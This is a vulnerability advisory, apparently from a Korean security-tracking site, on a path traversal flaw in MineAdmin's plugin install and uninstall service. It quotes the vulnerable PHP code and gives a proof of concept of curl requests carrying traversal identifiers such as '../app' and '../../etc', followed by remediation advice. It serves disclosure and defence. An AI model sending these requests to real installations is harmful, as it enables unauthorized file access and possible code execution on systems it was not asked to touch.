MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall
Summary
The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.
Vulnerable Code
File: plugin/mine-admin/app-store/src/Service/Service.php
1// Line 32 - download(): path traversal via identifier 2public function download(array $params): bool 3{ 4 if (empty($params['identifier']) || empty($params['version'])) { 5 $this->throwParamsFail(); 6 } 7 $service = make(AppStoreServiceImpl::class); 8 if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal 9 $result = $service->download($params['identifier'], $params['version']);10 // ...11 }12 return true;13}14 15// Line 48 - install(): path traversal + Plugin::install() with raw identifier16public function install(array $params): bool17{18 // ...19 $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal20 if (file_exists($path . '/install.lock')) {21 $this->throwAppInstalled();22 }23 Plugin::install($params['identifier']); // May run composer commands with traversal path24 return true;25}26 27// Line 70 - unInstall(): same pattern28public function unInstall(array $params): bool29{30 // ...31 $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal32 Plugin::uninstall($params['identifier']); // Arbitrary uninstall33 return true;34}File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)
1#[Controller(prefix: 'admin/plugin/store')] 2#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)] 3// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)Proof of Concept
1# Install a "plugin" from a traversed path, potentially triggering composer on 2# arbitrary directories 3curl -X POST "http://localhost:9501/admin/plugin/store/install" \ 4 -H "Authorization: Bearer <JWT_TOKEN>" \ 5 -H "Content-Type: application/json" \ 6 -d '{"identifier": "../app", "version": "1.0.0"}' 7 8# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app 9# Plugin::install("../app") processes the application directory as a plugin10 11# Check if arbitrary path exists:12curl -X POST "http://localhost:9501/admin/plugin/store/download" \13 -H "Authorization: Bearer <JWT_TOKEN>" \14 -H "Content-Type: application/json" \15 -d '{"identifier": "../../etc", "version": "1.0.0"}'Impact
- Path traversal enables reading directory existence outside the plugin directory
Plugin::install()with a traversed identifier may run composer commands on arbitrary directories- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
- Could lead to arbitrary code execution depending on
Plugin::install()implementation
Remediation
Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.